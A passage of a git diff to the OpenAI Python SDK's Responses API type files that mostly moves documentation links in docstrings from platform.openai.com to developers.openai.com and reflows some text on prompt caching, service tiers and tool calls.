+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
mode: Literal["implicit", "explicit"]
diff --git a/src/openai/types/responses/response_compaction_item.py b/src/openai/types/responses/response_compaction_item.py
index 16910b1431..c69f01b4b7 100644
--- a/src/openai/types/responses/response_compaction_item.py
+++ b/src/openai/types/responses/response_compaction_item.py
@@ -10,7 +10,7 @@
class ResponseCompactionItem(BaseModel):
"""
- A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
"""
id: str
diff --git a/src/openai/types/responses/response_compaction_item_param.py b/src/openai/types/responses/response_compaction_item_param.py
index ab548b4236..9336d58617 100644
--- a/src/openai/types/responses/response_compaction_item_param.py
+++ b/src/openai/types/responses/response_compaction_item_param.py
@@ -10,7 +10,7 @@
class ResponseCompactionItemParam(BaseModel):
"""
- A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
"""
encrypted_content: str
diff --git a/src/openai/types/responses/response_compaction_item_param_param.py b/src/openai/types/responses/response_compaction_item_param_param.py
index 6b4289f473..87cd0f7e6a 100644
--- a/src/openai/types/responses/response_compaction_item_param_param.py
+++ b/src/openai/types/responses/response_compaction_item_param_param.py
@@ -10,7 +10,7 @@
class ResponseCompactionItemParamParam(TypedDict, total=False):
"""
- A compaction item generated by the [`v1/responses/compact` API](https://platform.openai.com/docs/api-reference/responses/compact).
+ A compaction item generated by the [`v1/responses/compact` API](https://developers.openai.com/api/reference/resources/responses/methods/compact).
"""
encrypted_content: Required[str]
diff --git a/src/openai/types/responses/response_computer_tool_call.py b/src/openai/types/responses/response_computer_tool_call.py
index 3e4667e2cf..d2e3d62865 100644
--- a/src/openai/types/responses/response_computer_tool_call.py
+++ b/src/openai/types/responses/response_computer_tool_call.py
@@ -227,7 +227,7 @@ class ResponseComputerToolCall(BaseModel):
"""A tool call to a computer use tool.
See the
- [computer use guide](https://platform.openai.com/docs/guides/tools-computer-use) for more information.
+ [computer use guide](https://developers.openai.com/api/docs/guides/tools-computer-use) for more information.
"""
id: str
diff --git a/src/openai/types/responses/response_computer_tool_call_param.py b/src/openai/types/responses/response_computer_tool_call_param.py
index d9a445b5a1..e07da69ab7 100644
--- a/src/openai/types/responses/response_computer_tool_call_param.py
+++ b/src/openai/types/responses/response_computer_tool_call_param.py
@@ -225,7 +225,7 @@ class ResponseComputerToolCallParam(TypedDict, total=False):
"""A tool call to a computer use tool.
See the
- [computer use guide](https://platform.openai.com/docs/guides/tools-computer-use) for more information.
+ [computer use guide](https://developers.openai.com/api/docs/guides/tools-computer-use) for more information.
"""
id: Required[str]
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index 11669bef05..079055864a 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -45,7 +45,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
background: Optional[bool]
"""
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
"""
context_management: Optional[Iterable[ContextManagement]]
@@ -86,11 +86,11 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
"""
instructions: Optional[str]
@@ -105,7 +105,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tool_calls: Optional[int]
@@ -131,8 +131,8 @@ class ResponseCreateParamsBase(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
moderation: Optional[Moderation]
@@ -145,21 +145,21 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
prompt: Optional[ResponsePromptParam]
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
prompt_cache_key: Optional[str]
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: PromptCacheOptions
@@ -172,7 +172,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -182,7 +182,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -199,7 +199,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
reasoning: Optional[Reasoning]
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
safety_identifier: Optional[str]
@@ -209,7 +209,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
service_tier: Optional[ServiceTier]
@@ -220,13 +220,15 @@ class ResponseCreateParamsBase(TypedDict, total=False):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -244,7 +246,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
"""
stream_options: Optional[StreamOptions]
@@ -263,8 +265,8 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tool_choice: ToolChoice
@@ -283,17 +285,18 @@ class ResponseCreateParamsBase(TypedDict, total=False):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
"""
@@ -329,7 +332,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
@@ -382,7 +385,7 @@ class Moderation(TypedDict, total=False):
class PromptCacheOptions(TypedDict, total=False):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
comparison_response_id: Optional[str]
@@ -450,7 +453,7 @@ class ResponseCreateParamsNonStreaming(ResponseCreateParamsBase, total=False):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
@@ -462,7 +465,7 @@ class ResponseCreateParamsStreaming(ResponseCreateParamsBase):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
diff --git a/src/openai/types/responses/response_file_search_tool_call.py b/src/openai/types/responses/response_file_search_tool_call.py
index e10324025f..423d0ebeae 100644
--- a/src/openai/types/responses/response_file_search_tool_call.py
+++ b/src/openai/types/responses/response_file_search_tool_call.py
@@ -35,7 +35,7 @@ class ResponseFileSearchToolCall(BaseModel):
"""The results of a file search tool call.
See the
- [file search guide](https://platform.openai.com/docs/guides/tools-file-search) for more information.
+ [file search guide](https://developers.openai.com/api/docs/guides/tools-file-search) for more information.
"""
id: str
diff --git a/src/openai/types/responses/response_file_search_tool_call_param.py b/src/openai/types/responses/response_file_search_tool_call_param.py
index 08bf2f563f..0b6a1db038 100644
--- a/src/openai/types/responses/response_file_search_tool_call_param.py
+++ b/src/openai/types/responses/response_file_search_tool_call_param.py
@@ -37,7 +37,7 @@ class ResponseFileSearchToolCallParam(TypedDict, total=False):
"""The results of a file search tool call.
See the
- [file search guide](https://platform.openai.com/docs/guides/tools-file-search) for more information.
+ [file search guide](https://developers.openai.com/api/docs/guides/tools-file-search) for more information.
"""
id: Required[str]
diff --git a/src/openai/types/responses/response_format_text_json_schema_config.py b/src/openai/types/responses/response_format_text_json_schema_config.py
index 97179f0f82..2bceec64b1 100644
--- a/src/openai/types/responses/response_format_text_json_schema_config.py
+++ b/src/openai/types/responses/response_format_text_json_schema_config.py
@@ -14,7 +14,7 @@ class ResponseFormatTextJSONSchemaConfig(BaseModel):
"""JSON Schema response format.
Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
name: str
@@ -45,5 +45,5 @@ class ResponseFormatTextJSONSchemaConfig(BaseModel):
true, the model will always follow the exact schema defined in the `schema`
field. Only a subset of JSON Schema is supported when `strict` is `true`. To
learn more, read the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
diff --git a/src/openai/types/responses/response_format_text_json_schema_config_param.py b/src/openai/types/responses/response_format_text_json_schema_config_param.py
index 0954ea2d4c..6bfec36f90 100644
--- a/src/openai/types/responses/response_format_text_json_schema_config_param.py
+++ b/src/openai/types/responses/response_format_text_json_schema_config_param.py
@@ -12,7 +12,7 @@ class ResponseFormatTextJSONSchemaConfigParam(TypedDict, total=False):
"""JSON Schema response format.
Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
name: Required[str]
@@ -43,5 +43,5 @@ class ResponseFormatTextJSONSchemaConfigParam(TypedDict, total=False):
true, the model will always follow the exact schema defined in the `schema`
field. Only a subset of JSON Schema is supported when `strict` is `true`. To
learn more, read the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
diff --git a/src/openai/types/responses/response_function_tool_call.py b/src/openai/types/responses/response_function_tool_call.py
index 827f20173b..c51f680561 100644
--- a/src/openai/types/responses/response_function_tool_call.py
+++ b/src/openai/types/responses/response_function_tool_call.py
@@ -29,7 +29,7 @@ class ResponseFunctionToolCall(BaseModel):
"""A tool call to run a function.
See the
- [function calling guide](https://platform.openai.com/docs/guides/function-calling) for more information.
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
"""
arguments: str
diff --git a/src/openai/types/responses/response_function_tool_call_item.py b/src/openai/types/responses/response_function_tool_call_item.py
index ef153c02c3..fa0137666a 100644
--- a/src/openai/types/responses/response_function_tool_call_item.py
+++ b/src/openai/types/responses/response_function_tool_call_item.py
@@ -12,7 +12,7 @@ class ResponseFunctionToolCallItem(ResponseFunctionToolCall):
"""A tool call to run a function.
See the
- [function calling guide](https://platform.openai.com/docs/guides/function-calling) for more information.
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
"""
id: str # type: ignore
diff --git a/src/openai/types/responses/response_function_tool_call_param.py b/src/openai/types/responses/response_function_tool_call_param.py
index 00e3f87004..096a6391eb 100644
--- a/src/openai/types/responses/response_function_tool_call_param.py
+++ b/src/openai/types/responses/response_function_tool_call_param.py
@@ -35,7 +35,7 @@ class ResponseFunctionToolCallParam(_ResponseFunctionToolCallParamReservedKeywor
"""A tool call to run a function.
See the
- [function calling guide](https://platform.openai.com/docs/guides/function-calling) for more information.
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
"""
arguments: Required[str]
diff --git a/src/openai/types/responses/response_function_web_search.py b/src/openai/types/responses/response_function_web_search.py
index 77992ebed4..a7581727bd 100644
--- a/src/openai/types/responses/response_function_web_search.py
+++ b/src/openai/types/responses/response_function_web_search.py
@@ -72,7 +72,7 @@ class ResponseFunctionWebSearch(BaseModel):
"""The results of a web search tool call.
See the
- [web search guide](https://platform.openai.com/docs/guides/tools-web-search) for more information.
+ [web search guide](https://developers.openai.com/api/docs/guides/tools-web-search) for more information.
"""
id: str
diff --git a/src/openai/types/responses/response_function_web_search_param.py b/src/openai/types/responses/response_function_web_search_param.py
index e466dff41e..419b87ce34 100644
--- a/src/openai/types/responses/response_function_web_search_param.py
+++ b/src/openai/types/responses/response_function_web_search_param.py
@@ -73,7 +73,7 @@ class ResponseFunctionWebSearchParam(TypedDict, total=False):
"""The results of a web search tool call.
See the
- [web search guide](https://platform.openai.com/docs/guides/tools-web-search) for more information.
+ [web search guide](https://developers.openai.com/api/docs/guides/tools-web-search) for more information.
"""
id: Required[str]
diff --git a/src/openai/types/responses/response_input_image.py b/src/openai/types/responses/response_input_image.py
index dc43953f09..8efb56f76f 100644
--- a/src/openai/types/responses/response_input_image.py
+++ b/src/openai/types/responses/response_input_image.py
@@ -22,7 +22,7 @@ class PromptCacheBreakpoint(BaseModel):
class ResponseInputImage(BaseModel):
"""An image input to the model.
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
"""
detail: ImageDetail
diff --git a/src/openai/types/responses/response_input_image_content.py b/src/openai/types/responses/response_input_image_content.py
index 730d7dd1c9..999a9dfe9f 100644
--- a/src/openai/types/responses/response_input_image_content.py
+++ b/src/openai/types/responses/response_input_image_content.py
@@ -22,7 +22,7 @@ class PromptCacheBreakpoint(BaseModel):
class ResponseInputImageContent(BaseModel):
"""An image input to the model.
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision)
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision)
"""
type: Literal["input_image"]
diff --git a/src/openai/types/responses/response_input_image_content_param.py b/src/openai/types/responses/response_input_image_content_param.py
index 96d24a92cb..a045fc579b 100644
--- a/src/openai/types/responses/response_input_image_content_param.py
+++ b/src/openai/types/responses/response_input_image_content_param.py
@@ -23,7 +23,7 @@ class PromptCacheBreakpoint(TypedDict, total=False):
class ResponseInputImageContentParam(TypedDict, total=False):
"""An image input to the model.
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision)
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision)
"""
type: Required[Literal["input_image"]]
diff --git a/src/openai/types/responses/response_input_image_param.py b/src/openai/types/responses/response_input_image_param.py
index 35c728d5f0..dc99692124 100644
--- a/src/openai/types/responses/response_input_image_param.py
+++ b/src/openai/types/responses/response_input_image_param.py
@@ -23,7 +23,7 @@ class PromptCacheBreakpoint(TypedDict, total=False):
class ResponseInputImageParam(TypedDict, total=False):
"""An image input to the model.
- Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
"""
detail: Required[ImageDetail]
diff --git a/src/openai/types/responses/response_prompt.py b/src/openai/types/responses/response_prompt.py
index 37fd27d9d3..e5080af5d5 100644
--- a/src/openai/types/responses/response_prompt.py
+++ b/src/openai/types/responses/response_prompt.py
@@ -16,7 +16,7 @@
class ResponsePrompt(BaseModel):
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
id: str
diff --git a/src/openai/types/responses/response_prompt_param.py b/src/openai/types/responses/response_prompt_param.py
index c2147ea370..2db1bd1893 100644
--- a/src/openai/types/responses/response_prompt_param.py
+++ b/src/openai/types/responses/response_prompt_param.py
@@ -17,7 +17,7 @@
class ResponsePromptParam(TypedDict, total=False):
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
id: Required[str]
diff --git a/src/openai/types/responses/response_reasoning_item.py b/src/openai/types/responses/response_reasoning_item.py
index bc2e955295..8744204522 100644
--- a/src/openai/types/responses/response_reasoning_item.py
+++ b/src/openai/types/responses/response_reasoning_item.py
@@ -33,7 +33,7 @@ class ResponseReasoningItem(BaseModel):
A description of the chain of thought used by a reasoning model while generating
a response. Be sure to include these items in your `input` to the Responses API
for subsequent turns of a conversation if you are manually
- [managing context](https://platform.openai.com/docs/guides/conversation-state).
+ [managing context](https://developers.openai.com/api/docs/guides/conversation-state).
"""
id: str
diff --git a/src/openai/types/responses/response_reasoning_item_param.py b/src/openai/types/responses/response_reasoning_item_param.py
index d25b3a8f42..fb1196d30d 100644
--- a/src/openai/types/responses/response_reasoning_item_param.py
+++ b/src/openai/types/responses/response_reasoning_item_param.py
@@ -33,7 +33,7 @@ class ResponseReasoningItemParam(TypedDict, total=False):
A description of the chain of thought used by a reasoning model while generating
a response. Be sure to include these items in your `input` to the Responses API
for subsequent turns of a conversation if you are manually
- [managing context](https://platform.openai.com/docs/guides/conversation-state).
+ [managing context](https://developers.openai.com/api/docs/guides/conversation-state).
"""
id: Required[str]
diff --git a/src/openai/types/responses/response_retrieve_params.py b/src/openai/types/responses/response_retrieve_params.py
index 95269a8033..b6dae0f0ff 100644
--- a/src/openai/types/responses/response_retrieve_params.py
+++ b/src/openai/types/responses/response_retrieve_params.py
@@ -39,7 +39,7 @@ class ResponseRetrieveParamsNonStreaming(ResponseRetrieveParamsBase, total=False
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
@@ -51,7 +51,7 @@ class ResponseRetrieveParamsStreaming(ResponseRetrieveParamsBase):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
diff --git a/src/openai/types/responses/response_text_config.py b/src/openai/types/responses/response_text_config.py
index 54d94e13d2..9e2eca238e 100644
--- a/src/openai/types/responses/response_text_config.py
+++ b/src/openai/types/responses/response_text_config.py
@@ -14,8 +14,8 @@ class ResponseTextConfig(BaseModel):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: Optional[ResponseFormatTextConfig] = None
@@ -23,7 +23,7 @@ class ResponseTextConfig(BaseModel):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
diff --git a/src/openai/types/responses/response_text_config_param.py b/src/openai/types/responses/response_text_config_param.py
index 90bc04e460..69694973ef 100644
--- a/src/openai/types/responses/response_text_config_param.py
+++ b/src/openai/types/responses/response_text_config_param.py
@@ -15,8 +15,8 @@ class ResponseTextConfigParam(TypedDict, total=False):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: ResponseFormatTextConfigParam
@@ -24,7 +24,7 @@ class ResponseTextConfigParam(TypedDict, total=False):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
diff --git a/src/openai/types/responses/response_usage.py b/src/openai/types/responses/response_usage.py
index 355dd5d735..33e8ac299f 100644
--- a/src/openai/types/responses/response_usage.py
+++ b/src/openai/types/responses/response_usage.py
@@ -12,9 +12,9 @@ class InputTokensDetails(BaseModel):
"""The number of input tokens that were written to the cache."""
cached_tokens: int
- """The number of tokens that were retrieved from the cache.
-
- [More on prompt caching](https://platform.openai.com/docs/guides/prompt-caching).
+ """
+ The number of tokens that were retrieved from the cache.
+ [More on prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index 2ba335a523..c7e3815afc 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -105,7 +105,7 @@ class ResponseCreateModeration(BaseModel):
class ResponseCreatePromptCacheOptions(BaseModel):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
comparison_response_id: Optional[str] = None
@@ -184,7 +184,7 @@ class ResponseCreate(BaseModel):
background: Optional[bool] = None
"""
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
"""
context_management: Optional[List[ResponseCreateContextManagement]] = None
@@ -225,11 +225,11 @@ class ResponseCreate(BaseModel):
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
"""
instructions: Optional[str] = None
@@ -244,7 +244,7 @@ class ResponseCreate(BaseModel):
"""
An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tool_calls: Optional[int] = None
@@ -270,8 +270,8 @@ class ResponseCreate(BaseModel):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
moderation: Optional[ResponseCreateModeration] = None
@@ -284,21 +284,21 @@ class ResponseCreate(BaseModel):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
prompt: Optional[ResponsePrompt] = None
"""
Reference to a prompt template and its variables.
